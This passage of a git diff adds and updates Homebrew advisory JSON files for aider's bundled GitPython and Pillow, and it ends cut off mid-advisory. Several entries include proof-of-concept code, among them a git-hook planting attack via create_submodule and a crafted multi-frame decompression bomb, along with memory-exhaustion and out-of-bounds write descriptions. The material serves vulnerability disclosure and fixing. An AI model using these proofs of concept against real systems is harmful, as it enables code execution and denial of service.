b/advisories/BREW-aider-CVE-2026-112898.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112898", "published": "2026-10-22T09:13:55Z", - "modified": "2026-10-22T09:13:55Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-rfgq-q3w2-pmv2", - "CVE-2026-112898" + "CVE-2026-112898", + "BIT-pillow-2026-112898" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112900.json b/advisories/BREW-aider-CVE-2026-112900.json index 6f63608f178..cfeefefb887 100644 --- a/advisories/BREW-aider-CVE-2026-112900.json +++ b/advisories/BREW-aider-CVE-2026-112900.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112900", "published": "2026-10-22T09:13:55Z", - "modified": "2026-10-22T09:13:55Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-w889-685w-c8fh", - "CVE-2026-112900" + "CVE-2026-112900", + "BIT-pillow-2026-112900" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-112901.json b/advisories/BREW-aider-CVE-2026-112901.json index d327e7dd352..f7dc4cb7f3a 100644 --- a/advisories/BREW-aider-CVE-2026-112901.json +++ b/advisories/BREW-aider-CVE-2026-112901.json @@ -2,10 +2,11 @@ "schema_version": "1.7.3", "id": "BREW-aider-CVE-2026-112901", "published": "2026-10-22T09:13:55Z", - "modified": "2026-10-22T09:13:55Z", + "modified": "2026-10-27T19:19:30Z", "upstream": [ "GHSA-xgh8-jp6q-p5x8", - "CVE-2026-112901" + "CVE-2026-112901", + "BIT-pillow-2026-112901" ], "affected": [ { diff --git a/advisories/BREW-aider-CVE-2026-114145.json b/advisories/BREW-aider-CVE-2026-114145.json new file mode 100644 index 00000000000..200062e7816 --- /dev/null +++ b/advisories/BREW-aider-CVE-2026-114145.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-CVE-2026-114145", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-83vg-56qc-22m7", + "CVE-2026-114145" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": "pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.47.1" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "3.2.1", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.1.46" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.1.46", + "key": "pkg:pypi/gitpython@3.1.46", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython validates a submodule's \".git\" path only after cloning into it (RCE)", + "details": "### Summary\n\n\n`create_submodule(name, path, url)` clones a submodule into the repo's own `.git`\ndirectory before it rejects the path. A `path` of \".git/hooks\" is accepted by the\npre-clone check, so the submodule is cloned straight into the live hooks directory,\nand a file named `post-checkout` in the submodule becomes an executable\n`.git/hooks/post-checkout`. On 3.2.0+ the later index check does raise `ValueError`,\nbut only after the clone already wrote to disk, and it does not remove the planted\nhook; on 3.1.x there is no such check and the call succeeds silently. Either way the\nhook runs on the next git operation (e.g. checkout), giving code execution.\n\n### Details\n\n\nThe checkout path is validated too late, after the clone has already mutated disk.\nThis breaks the \"validate before mutation\" invariant that commit 43a43cd8 (\"Validate\nsubmodule checkout and metadata paths before mutation\") set out to enforce.\n\nSubmodule.add() calls the permissive path check before cloning, and the strict check\nonly reaches the \".git\" alias at index time, after _clone_repo has written to disk:\n\ngit/objects/submodule/base.py (Submodule.add)\n 599: path = cls._to_relative_path(repo, path) # accepts \".git/hooks\"\n 673: mrepo = cls._clone_repo(repo, url, path, name, ...) # clones into /.git/hooks\n 714: index.add([sm], write=True) # strict check only triggers here\n\ngit/index/base.py (IndexFile._preprocess_add_items)\n 732: _validate_repo_path(entry.path) # rejects \".git\", too late\n\n_to_relative_path only blocks `..`/absolute/out-of-tree paths; `.git` aliases are\nrejected only by _validate_repo_path, which was added in 3.2.0 (commit a75aedf3) and\nruns at the index boundary. The ValueError it raises at line 732 does not roll back\nwhat _clone_repo already wrote.\n\nVersion-dependent behavior:\n- 3.2.0 .. tip bda18e08: _validate_repo_path raises ValueError at index.add, but the\n hook is already on disk and is not removed (incorrect order of validation vs. clone).\n- 3.1.x (e.g. 3.1.59): _validate_repo_path does not exist and _to_relative_path does\n not reject `.git`; create_submodule(path=\".git/hooks\", ...) returns with no error at\n all and the hook is planted silently.\n\n### Proof of concept\n\n\nSetup:\n evilsub/ : a git repo whose ROOT contains an executable file named post-checkout (the payload)\n victim/ : a git repo with at least 1 commit and a second branch, whose .git/hooks has NO\n sample hooks (the state of a minimal/CI checkout, or `git init` with an empty\n template dir, or GIT_TEMPLATE_DIR/init.templateDir empty)\n\nimport git, os.path as osp\ntry:\n git.Repo(\"victim\").create_submodule(name=\"x\", path=\".git/hooks\", url=osp.abspath(\"evilsub\"))\nexcept ValueError:\n pass # 3.2.0+: \".git\" is rejected, but only AFTER the clone, so the plant already happened.\n # 3.1.x: no exception is raised at all; the call succeeds and still plants the hook.\n\n#### victim/.git/hooks/post-checkout now exists, mode 0755, attacker-controlled, on every\n#### affected version. Any later checkout runs it:\n#### git -C victim checkout -> the hook runs -> code execution\n\nVerified live:\n- tip bda18e08 (3.2.0 + 3 commits): create_submodule raised ValueError from\n git/index/base.py:732, yet .git/hooks/post-checkout was present and executable, and\n `git checkout` executed it.\n- 3.1.59: create_submodule returned with no error; .git/hooks/post-checkout was planted\n and executed by `git checkout`.\n\n### Impact\n\nArbitrary code execution. A library/app that creates a submodule from an\nattacker-influenced `path` ends up with an attacker-controlled executable in\n`.git/hooks`, which git runs on ordinary later operations. This affects any service\nthat derives a submodule checkout path from untrusted data, e.g. one that ingests a\nsubmodule spec (name/path/url) from a user-supplied manifest or API request and feeds\n`path` into create_submodule. On 3.2.0+ the library's own validation is the thing that\nfails: it correctly rejects the `.git` path, but only after the submodule has already\nbeen cloned into place, so an app that traps the ValueError reasonably believes the\nunsafe path was blocked.\n\nPreconditions (hence AC:H): (1) the app passes an attacker-influenced submodule `path`;\n(2) the target hook name is free in `.git/hooks`, true for minimal/CI/container\ncheckouts and whenever init.templateDir/GIT_TEMPLATE_DIR is empty. With the default\nsample hooks present, `git clone` refuses the non-empty destination and no plant occurs.\n\nAffected: all tested versions from 3.1.x (3.1.59) through the current tip bda18e08\n(3.2.0 + 3 commits). 3.1.x plants silently; 3.2.0+ plants despite raising ValueError.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-83vg-56qc-22m7" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114145" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2264" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/97eadb888d2f99567e3113f4e455be4ca128f697" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.1" + } + ] +} diff --git a/advisories/BREW-aider-CVE-2026-114501.json b/advisories/BREW-aider-CVE-2026-114501.json new file mode 100644 index 00000000000..8109916a0c4 --- /dev/null +++ b/advisories/BREW-aider-CVE-2026-114501.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-CVE-2026-114501", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-654x-cwwv-5j9c", + "CVE-2026-114501" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": "pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.86.1_1" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "13.0.0", + "resource": "pillow", + "resource_purl": "pkg:pypi/pillow@12.1.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "pillow", + "subject_version": "12.1.1", + "key": "pkg:pypi/pillow@12.1.1", + "resource": "pillow" + } + ] + }, + "summary": "Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1", + "details": "### Summary\n\nWhen [`PILLOW_ALIGNMENT`](https://pillow.readthedocs.io/en/stable/reference/block_allocator.html#memory-pools) is set above 1, exporting an image to Arrow returns uninitialized heap memory mixed in with the pixel data. That memory can include pixels from images the process freed earlier. \n\n### Details\n\nWith an alignment above 1, the default allocator pads each row up to `aligned_linesize` and starts the first row at an aligned offset into the block. It then exports `im->blocks[0].ptr` as `xsize * ysize` tightly packed pixels, so exported data includes the padding bytes, and can include a few bytes from before the first row.\n\nTested vulnerable on 11.2.1, 12.3.0, 4c1ed27a5.\n\n### PoC\n\nWhether things leak may depend on allocator configuration. This does show a leak on my Mac.\n\n```python\nimport os\n\nos.environ[\"PILLOW_ALIGNMENT\"] = \"64\"\n\nfrom PIL import Image\n\n# Image A: 64 px wide, so its rows fill the whole aligned stride\na = Image.new(\"L\", (64, 40), 0x41).transpose(Image.Transpose.FLIP_LEFT_RIGHT)\ndel a\n\n# Image B: 61 px wide, so each row has 3 bytes of padding; its pixels are all 0\nb = Image.new(\"L\", (61, 40), 0).transpose(Image.Transpose.FLIP_LEFT_RIGHT)\n\ntry:\n exported = Image.fromarrow(b, b.mode, b.size).tobytes()\nexcept ValueError as e:\n print(\"Not vulnerable:\", e)\nelse:\n if leaked := len(exported) - exported.count(0):\n raise RuntimeError(f\"{leaked} of {len(exported)} exported bytes are not B's pixels\")\n```\n\n### Impact\n\nInformation disclosure for applications that set `PILLOW_ALIGNMENT` and export images to Arrow. Likely any image whose row length isn't a multiple of the alignment will do. In a service handling several users' images, one user's exported data can contain pixels from another user's image, or other stale heap contents.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-654x-cwwv-5j9c" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114501" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/pull/10172" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/commit/19f64946eb247b973dd4560be7dea3bf979d2e6a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/python-pillow/Pillow" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0" + } + ] +} diff --git a/advisories/BREW-aider-CVE-2026-96636.json b/advisories/BREW-aider-CVE-2026-96636.json new file mode 100644 index 00000000000..f864eb75176 --- /dev/null +++ b/advisories/BREW-aider-CVE-2026-96636.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-CVE-2026-96636", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-p8hx-v2p6-rp84", + "CVE-2026-96636" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": "pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.86.1_1" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "13.0.0", + "resource": "pillow", + "resource_purl": "pkg:pypi/pillow@12.1.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "pillow", + "subject_version": "12.1.1", + "key": "pkg:pypi/pillow@12.1.1", + "resource": "pillow" + } + ] + }, + "summary": "Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek)", + "details": "### Summary\nPillow's decompression-bomb protection (`Image._decompression_bomb_check`, gated by `Image.MAX_IMAGE_PIXELS`) is enforced only on the **first frame**, inside `Image.open()`. For multi-frame formats, `seek()` re-parses the target frame's header and resets `self._size`. `GifImagePlugin` and `TiffImagePlugin` re-run the bomb check on `seek()`, but **`MpoImageFile.seek()` and `DcxImageFile.seek()` do not.** A crafted MPO or DCX whose first frame is tiny (passing the check) but whose later frame declares enormous dimensions therefore bypasses the protection: loading that frame decodes an over-limit image and commits large amounts of memory — a denial of service (memory exhaustion / OOM).\n\nSame class as the recently assigned CVE-2026-55379 (BdfFontFile), CVE-2026-55380 (GdImageFile) and CVE-2026-40192 (FITS GZIP).\n\n### Details\n`Image.open()` → `_open_core()` runs `_decompression_bomb_check(im.size)` once, on the frame present at open time. Both vulnerable `seek()` methods re-parse a new frame and set a new `self._size` without re-checking:\n\n- **`PIL/MpoImagePlugin.py`, `MpoImageFile.seek()`**: calls `JpegImagePlugin.JpegImageFile._open(self)` (which sets `self._size` from the frame's JPEG SOF) and rebuilds `self.tile`, with no `Image._decompression_bomb_check(self.size)`.\n- **`PIL/DcxImagePlugin.py`, `DcxImageFile.seek()`**: calls `PcxImageFile._open(self)` (which sets `self._size` from the page's PCX header), with no check.\n\nConfirmed present in **12.3.0** (latest release) and on **`main`** (13.0.0.dev0). Compare `GifImagePlugin._seek` and `TiffImagePlugin`, which call `_decompression_bomb_check` correctly on seek.\n\n### PoC\nSelf-contained; the victim uses **default** `MAX_IMAGE_PIXELS`:\n\n```python\nimport io\nfrom PIL import Image\n\n# attacker builds the file (guard disabled only to CREATE the oversized frame)\nImage.MAX_IMAGE_PIXELS = None\nsmall = Image.new(\"RGB\", (8, 8))\nbig = Image.new(\"RGB\", (14000, 14000), (120, 60, 30)) # 196,000,000 px > error threshold\nbuf = io.BytesIO()\nsmall.save(buf, format=\"MPO\", save_all=True, append_images=[big])\ndata = buf.getvalue() # ~3 MB\nImage.MAX_IMAGE_PIXELS = int(1024 * 1024 * 1024 // 4 // 3) # restore default\n\n# victim (default limits)\nim = Image.open(io.BytesIO(data)) # frame 0 (8x8) passes the bomb check\nim.seek(1) # frame 1 (14000x14000) -> NOT re-checked <-- bug\nim.load() # decodes the over-limit image, commits memory\nprint(\"loaded over-limit frame:\", im.size)\n```\n\nMeasured on Pillow 12.3.0 (default limit 89,478,485 px; error threshold 178,956,970 px):\n\n| Vector | File size | Frame 1 | Peak RSS |\n|---|---|---|---|\n| MPO (JPEG) | ~3.0 MB | 14000×14000 (196 Mpx) | ~763 MB |\n| DCX (PCX) | ~6.2 MB | 14000×14000 (196 Mpx) | ~200 MB |\n| Control: same image standalone | — | 196 Mpx | `DecompressionBombError` (correctly blocked) |\n\nThe DCX vector (`0x3ADE68B1` magic + offset directory + two PCX pages) behaves identically via `DcxImageFile.seek()`. Scaling frame 1 toward JPEG's ~65500×65500 maximum drives multi-GB commitments from a small file, reliably OOM-killing the process.\n\n### Impact\nDenial of service (memory exhaustion / OOM) — CWE-400 / CWE-1284, a bypass of Pillow's documented decompression-bomb mitigation. `seek()` + `load()` is the normal way to iterate frames (e.g. `PIL.ImageSequence.Iterator`, thumbnailers, converters, 3D-photo handlers). Because **MPO is auto-detected from a JPEG carrying MPF metadata**, a file served with a `.jpg` extension can be opened as MPO, so any application that iterates frames of untrusted images is exposed.\n\n### Suggested fix\nRe-run the check after `seek()` re-parses a frame, mirroring GIF/TIFF:\n\n```python\n# PIL/MpoImagePlugin.py — end of MpoImageFile.seek()\nself.tile = [ImageFile._Tile(\"jpeg\", (0, 0) + self.size, self.offset, self.tile[0][-1])]\nImage._decompression_bomb_check(self.size) # add\nself.__frame = frame\n\n# PIL/DcxImagePlugin.py — end of DcxImageFile.seek()\nPcxImageFile._open(self)\nImage._decompression_bomb_check(self.size) # add\n```", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-p8hx-v2p6-rp84" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96636" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/pull/10011" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48" + }, + { + "type": "PACKAGE", + "url": "https://github.com/python-pillow/Pillow" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0" + } + ] +} diff --git a/advisories/BREW-aider-CVE-2026-96637.json b/advisories/BREW-aider-CVE-2026-96637.json new file mode 100644 index 00000000000..403ca967508 --- /dev/null +++ b/advisories/BREW-aider-CVE-2026-96637.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-CVE-2026-96637", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-g842-9rc4-69pw", + "CVE-2026-96637" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": "pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.86.1_1" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "13.0.0", + "resource": "pillow", + "resource_purl": "pkg:pypi/pillow@12.1.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "pillow", + "subject_version": "12.1.1", + "key": "pkg:pypi/pillow@12.1.1", + "resource": "pillow" + } + ] + }, + "summary": "Pillow: Decompression bomb check bypass in SpiderImagePlugin.seek() leads to unbounded allocation DoS", + "details": "## Summary\nSpiderImagePlugin's seek() bypasses the decompression bomb check, allowing a tiny (<1KB) crafted SPIDER stack file to trigger a multi-gigabyte allocation on im.load().\n\n## Affected versions\nAll versions up to and including current HEAD (v13.0.0.dev0, commit e7a7ea84)\n\n## Root cause\nImage.open() runs Image._decompression_bomb_check(im.size) exactly once, in _open_core (src/PIL/Image.py:3668), right after the initial _open(). \n\nSPIDER stack files are multi-frame: SpiderImageFile.seek(frame) (SpiderImagePlugin.py:179-190) computes an attacker-influenced stkoffset and calls self._open() AGAIN directly (line 190) — NOT through Image.open(). _open() re-parses a fresh 27-float header at that offset and reassigns:\n\n self._size = int(h[12]), int(h[2]) # SpiderImagePlugin.py:131\n\nstraight from unvalidated header floats (isSpiderHeader only checks internal labrec*lenbyt==labbyt consistency, never bounds nsam/nrow). No bomb check runs on this new size.\n\nOn the subsequent load(), ImageFile.load_prepare() (ImageFile.py:436-437) executes `self.im = Image.core.new(self.mode, self.size)` with the unchecked, attacker-chosen size. Mode is always \"F\" (4 bytes/pixel), so e.g. 40000x40000 = 6.4 GB.\n\n## Why this is a real bug\nSibling multi-frame plugins DO re-check on their alternate paths:\n- GifImagePlugin.py:286 - Image._decompression_bomb_check(self._size) (in seek)\n- TiffImagePlugin.py:1309 - Image._decompression_bomb_check(self._tile_size)\n- IcnsImagePlugin.py:121/138, IcoImagePlugin.py:236/240 (sub-image selection)\n\nSpiderImagePlugin has NO bomb check anywhere. This is the same class of bug just fixed for GdImageFile (GHSA-phj9-mv4w-65pm) and the FontFile classes (GHSA-5x94/8v84/45hq): an allocation reached on a non-Image.open() path sized by an attacker header field, independent of the one-time pixel bomb check.\n\n## Reproduction\nPython 3.13, Pillow HEAD e7a7ea84\n\nAttached: pillow_poc_spider_bomb.py\n\nSets Image.MAX_IMAGE_PIXELS=5000, then:\n- CONTROL: Image.open(standalone 100x100 SPIDER) -> DecompressionBombWarning fires correctly.\n- BYPASS: Image.open(stack, frame0=1x1) passes; im.seek(1) sets size (100,100) with NO DecompressionBombWarning/Error -> the check is bypassed.\n\nReal-world impact: a large frame-1 nsam/nrow (e.g. 40000x40000) causes im.load() to allocate ~6.4 GB (mode F) with the bomb check fully bypassed, from a file under 1 KB.\n\n## Suggested fix\nCall Image._decompression_bomb_check(self.size) at the end of SpiderImageFile._open() (or in seek() after _open()), mirroring GifImagePlugin / TiffImagePlugin. Optionally validate nsam/nrow are positive and sane in _open().\n\nCredit: Yazan Balawneh - CyStack Security Team \n[pillow_poc_spider_bomb.py](https://github.com/user-attachments/files/30244916/pillow_poc_spider_bomb.py)", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-g842-9rc4-69pw" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96637" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/pull/10076" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/commit/7cb0e02389d8aac2a60896a490f572db0b07b841" + }, + { + "type": "PACKAGE", + "url": "https://github.com/python-pillow/Pillow" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0" + } + ] +} diff --git a/advisories/BREW-aider-CVE-2026-96638.json b/advisories/BREW-aider-CVE-2026-96638.json new file mode 100644 index 00000000000..1eb7bbb303a --- /dev/null +++ b/advisories/BREW-aider-CVE-2026-96638.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-CVE-2026-96638", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-24rc-8hj2-v98c", + "CVE-2026-96638" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": "pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.86.1_1" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "13.0.0", + "resource": "pillow", + "resource_purl": "pkg:pypi/pillow@12.1.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "pillow", + "subject_version": "12.1.1", + "key": "pkg:pypi/pillow@12.1.1", + "resource": "pillow" + } + ] + }, + "summary": "Pillow: BMP RLE decoder memory-amplification DoS via unbounded delta escape / absolute mode", + "details": "## Summary\nBmpRleDecoder can be forced to allocate gigabytes of memory from a kilobyte-sized crafted BMP file via unbounded growth in the delta escape and absolute mode branches.\n\n## Affected versions\nAll versions up to and including current HEAD (v13.0.0.dev0, commit e7a7ea84)\n\n## Root cause\nBmpRleDecoder.decode() (BmpImagePlugin.py:327-395) builds a Python bytearray `data` with dest_length = xsize*ysize, looping `while len(data) < dest_length`. The loop condition is only checked at the TOP; individual branches append attacker-controlled amounts UNBOUNDED by dest_length:\n\n- delta escape (line 370): data += b\"\\x00\" * (right + up * self.state.xsize) with right,up in 0..255 -> up to ~255*xsize bytes in ONE iteration.\n- absolute mode (line 385): data += bytes_read (up to 255).\n\nBecause a single delta can push len(data) to ~256 * (row size), a tiny RLE stream combined with a large-but-legal xsize (xsize*ysize just under MAX_IMAGE_PIXELS, ~89M) yields a multi-GB `data` bytearray (then copied again by bytes(data) and set_as_raw). No heap OOB (bytearray/set_as_raw are bounds-safe), but a severe memory-amplification DoS: the attacker file stays tiny.\n\n## Reproduction\nPython 3.13, Pillow HEAD e7a7ea84\n\nAttached: pillow_poc_bmp_rle_dos.py\n\nA 1084-byte BMP (BI_RLE8, width=3,000,000, height=1 -> 3M px, passes bomb check) with one delta escape (00 02 00 150) produces ~429 MB `data`; measured peak RSS 911 MB. Scaling width toward the bomb limit and up=255 produces tens of GB from a ~1 KB file.\n\n## Suggested fix\nCap growth at dest_length in the delta and absolute branches, e.g. clamp the delta fill to (dest_length - len(data)) and stop appending once len(data) >= dest_length; reject deltas that would move the cursor beyond the image, matching the existing per-row clamp at line 341-343.\n\nCredit: Yazan Balawneh - CyStack Security Team (GitHub: sonicnew)\n\n[pillow_poc_bmp_rle_dos.py](https://github.com/user-attachments/files/30244974/pillow_poc_bmp_rle_dos.py)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-24rc-8hj2-v98c" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96638" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/pull/10015" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/commit/e7794835e323ff2691d9b3a974cade1a44301b9a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/python-pillow/Pillow" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0" + } + ] +} diff --git a/advisories/BREW-aider-CVE-2026-96639.json b/advisories/BREW-aider-CVE-2026-96639.json new file mode 100644 index 00000000000..aa57d525046 --- /dev/null +++ b/advisories/BREW-aider-CVE-2026-96639.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-CVE-2026-96639", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-v9pv-5gc8-w2m6", + "CVE-2026-96639" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": "pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.86.1_1" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "13.0.0", + "resource": "pillow", + "resource_purl": "pkg:pypi/pillow@12.1.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "pillow", + "subject_version": "12.1.1", + "key": "pkg:pypi/pillow@12.1.1", + "resource": "pillow" + } + ] + }, + "summary": "Pillow multi-frame loaders can reuse stale native image storage after mode transitions", + "details": "### Summary\nPillow multi-frame image loaders can retain native `ImagingCore` storage allocated for one frame while changing the Python-side image `mode` and decoder tiles for a later frame.\n\nIf frame 0 allocates storage for a narrow mode such as `L`, and a later frame of the same dimensions switches to a wider mode such as `RGB` or `CMYK`, Pillow may decode wider pixels into the stale narrow native buffer. This causes native\nout-of-bounds writes and process crashes. In the MPO/JPEG path, I also demonstrated command execution in matching Python/Pillow runtime profiles through Pillow's documented `ImageSequence.Iterator` + `frame.load()` path.\n\n### Details\nThe root cause appears to be that `ImageFile.load_prepare()` only reallocates native storage when `_im is None`. It does not verify that the retained native `ImagingCore` storage still matches `self.mode` and `self.size`.\n\nSeveral multi-frame `seek()` / `_open()` paths can update `self._mode` and decoder tiles for a later frame without invalidating `_im`. The decoder then writes or reads according to the new frame mode while the native storage still belongs to the old frame mode.\n\nVerified affected surfaces:\n\n1. **PSD**\n\n `PsdImageFile.seek()` can switch from grayscale/native `L` storage to RGB layer decoding while retaining `_im`. This produces attacker-controlled native out-of-bounds writes and reliable crashes.\n\n2. **MPO/JPEG**\n\n A crafted two-frame MPO can make frame 0 allocate `L` storage, then make frame 1 decode `CMYK` / `RGB` data into the retained `L` storage. The documented `ImageSequence.Iterator` path reaches this with `frame.load()`.\n Verified native memory corruption, crash, over-read behavior, and scoped harmless-marker command execution on Pillow 12.3.0.\n\n3. **DCX**\n\n `DcxImageFile.seek()` calls `PcxImageFile._open()`, which changes mode/tile state without a native-storage mode guard. A crafted DCX with `L` then `RGB` PCX frames produces retained-storage mismatch and crash.\n\n4. **MIC**\n\n MIC can call `TiffImageFile._open()` directly and bypass TIFF's normal guarded `seek()` behavior. With a `NextIFD`-based reachable frame transition, this produces retained-storage mismatch and crash.\n\nTIFF appears to be a useful positive control because its `seek()` path checks\nboth size and mode before reusing storage.\n\n### Impact\n- process crash / denial of service,\n- native out-of-bounds write,\n- native over-read in the MPO path.\n\nStronger proven impact:\n\n- command execution in matching Python/Pillow runtime profiles through the MPO/JPEG path.\n\nServer-side deployment impact:\n\n- Create a local vulnerable web upload service that accepts an unauthenticated MPO upload and automatically processes it with Pillow.\n- The attack is one HTTP request and requires no user interaction after upload.\n- The fixed harmless command-output marker succeeded 10/10 times.\n- The `_im=None` control was clean 10/10 times.\n\n\n## Reproduction Evidence\n\nTested version:\n\n```text\nPillow 12.3.0\n```\n\nMPO terminal proof environments:\n\n```text\nPython 3.12.3 + Pillow 12.3.0, clean PyPI environment:\nmarker 10/10, control 0/10\n\nPython 3.13.14 + Pillow 12.3.0, prepared profile:\nmarker 10/10, control 0/10\n```\n\nServer-side web-upload proof:\n\n```text\ncontrol 1..10: MARKER_MISSING\ncontrol_summary ok 0 missing 10 /10\n\nvulnerable 1..10: MARKER_OK marker_output \nvulnerable_summary ok 10 missing 0 /10\n```\n\nThe terminal proof uses a fixed harmless marker command only. It does not 